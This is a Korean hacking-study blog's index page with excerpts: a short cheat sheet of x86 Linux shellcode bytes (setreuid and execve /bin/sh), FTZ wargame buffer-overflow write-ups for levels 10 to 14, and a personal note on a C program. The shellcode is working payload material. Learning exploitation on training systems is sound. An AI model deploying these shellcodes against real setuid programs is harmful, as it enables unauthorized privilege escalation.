전체 글
-
쉘 코드 정리hacking/system 2018. 11. 14. 02:40
// 16 Byte, setreuid( geteuid() , geteuid() );\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 // 25 Byte, shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 // 41 Byte\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0..
-
level 14war game Write up/ FTZ 2018. 11. 14. 02:38
이 문제는 그냥 간단하게 스택구조만 만들어 낼 수 있다면 풀 수 있는 문제였다, 문제는 다음과 같다. fgets 함수로 45byte 까지 표준입력으로 받는다.그 다음 if문에서 check의 변수를 0xdeadbeef와 같은지 다른지 검사한 후 /bin/sh를 띄어주는 형식이다. gdb로 분석을 해보면 오른쪽과 같이 스택구조를 그려낼 수 있다. x038 -> 56에서 4를 더 추가한다,그런 후 fgets 에서 입력을 받고 29에서 검사를 하는 구조이다.총 스택값은 56이다. 28byte는 선언된 변수 값이고 나머지 28은 더미값으로 봐도 무관하다. int 형은 각 4byte 이고 buf값은 20 그런데 입력값은 45 그럼 더미 값은 20~21?이라고 추측이 가능했다..(뭔,,)따라서 공격 코드는 아래와 같다.
-
-
C - parking_programprogramming /C 2018. 11. 3. 03:12
사실 뭐 ,, C를 독학하면서 프로그램을 짠건데 디미고에 원서를 내면서 이 프로그램을 냈었지만.,,. 하ㅠㅠㅠㅠㅠㅠㅠㅠㅠ 여튼 어쩌다가 보니 이 파일을 발견하게 되서 다시 프로그램을 짜볼까 한다.(사실 원래 있던 코드들 수정하고 에러 잡는 거겠지만..ㅎ)또 기회가 되면 파이썬으로도 한번 해볼까 생각했지만 시간이 된다면!!! 할거다! 여튼 오늘은 대구대학교 CTF니까 일요일부터 시작하기로 하자!! 근황은 블로그 C 에 올릴 예정이당 화이티이ㅣㅣㅣㅣㅣㅇㅇㅇ 아 그리고 이제부터 wargame 라업만 올리는게 아니라 플밍이나 취약점에 관련된 글, CTF 참가 한 것들 라업, 등등을 올릴 예정이다물론 지금까지 웹 개발한 것 CTF 백엔드 코딩한 것들 플젝들 다 올릴 예정!! 하 ,,
-
level13war game Write up/ FTZ 2018. 11. 1. 02:18
이 문제는 이전 문제와 다르게 스택가드라는 개념이 추가된 문제이다.소스코드를 보면 아래와 같다. buf string value에 1024 byte 를 할당시켜주고 인자값을 buf 변수에 copy하는데 strcpy함수는 길이 체크를 하지 않기 때문에 취약점이 존재하므로 이곳을 노려야 한다.if문은 i 값이 0x1234567이 아니면 에러를 뿜는다. kill 함수를 보면 signal(11, SIGEGV)를 전달하므로 세그먼트 폴트를 반환한다.따라서 i 값 즉, 스택가드 부분은 건드리지 않은채 버퍼오버플로우를 일으켜야 한다는 말이다. 먼저 gdb로 분석을 해보자.. 빨간줄을 그어 놓은 곳이 바로 비교하는 어셈인데 이 곳을 브포로 잡은 후 실행을 시켜본다. 시작 지점은 0xbffff1c0 0x1234567이 있..
-
leve12war game Write up/ FTZ 2018. 11. 1. 00:26
와아아ㅏ아아아아ㅏ아아아 혼자 풀었다!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,,, 뭐 다른 문제도 웬만해선 다 혼자 풀었지만서도 이건 검색을 1도 안하고 풀었,, (물론 쉘코드 빼고!!!) 짱쉽다..ㅈㅅ 사실 11번 문제랑 다를게 없어서 그랬다는게 함정,,ㅇㅁㅇ 먼저 attackme의 소스코드가 힌트로 주어진다. 이전 문제와 다르게 인자값으로 받는게 아닌 입력값으로 받아들인다.gets 함수를 써서 입력을 받는데 gets함수의 경우 값의 길이 체크를 하지 않기 때문에 취약점이 발생한다. 따라서 fgets라는 함수를 사용한다고 한다. 먼저 str 이라는 string value에 256 byte를 할당시켜준다. 그리고 setreuid에서는 level13을 말하는 것 같다.입력..
-
level11war game Write up/ FTZ 2018. 10. 28. 00:57
음,, 이 문제는 FTZ를 하면서 버퍼오버플로우에 대한 기초를 알려주기 위한 문제라고 보고 풀었다. 먼저 ls를 한 후에 파일들을 살펴본다. attackme라는 프로그램이 존재하고, hint파일이 존재한다.위의 코드를 간단하게 분석해보면setuid가 걸려있고 str이라는 string 변수는 256byte를 가진다.argv[1]을 str에 카피하고 그것을 출력해준다. attackme를 실행할 때 인자값을 함께 넣어줬을 때 정상적으로 스택에 들어가는 것을 확인할 수 있다. 이 파일을 먼저 tmp/ 폴터에 카피한 후 gdb로 분석을 해보자.main+3까지는 str 이 스택에 들어가는 값이다. 0x100은 256이고 0x8은 8 따라서 더미값은 8byte이다.strcpy 함수 밑에 main+53을 브포로 잡고 ..
-
level10war game Write up/ FTZ 2018. 10. 9. 17:40
음,, 이 문제를 접하면서 공유 메모리라는 것을 공부하게 되었다. 공유 메모리 즉 shared memory 는 컴퓨터 환경에서 여러 프로그램이 동시에 접근할 수 있는 메모리과다한 복사를 피하거나 해당 프로그램 간 통신을 위해 고안됨환경에 따라 프로그램은 하나의 프로세서에서 여러 개의 프로세서에서 실행 가능함. 공유 메모리 즉 shared memory 는 여러 IPC 중에서 가장 빠른 수행 속도를 보여준다고 한다.IPC 란 Inter-Process Communication 의 약자로 프로세스 간 통신이라고 하며 프로세스들 사이에 서로 데이터를 주고 받는 행위 또는 그에 대한 방법이나 경로를 뜻한다. CPU1 CPU2 CPU3 I/O ↓ ↓ ↓ ↙ System Bus or crossbar switch ↓ ↓..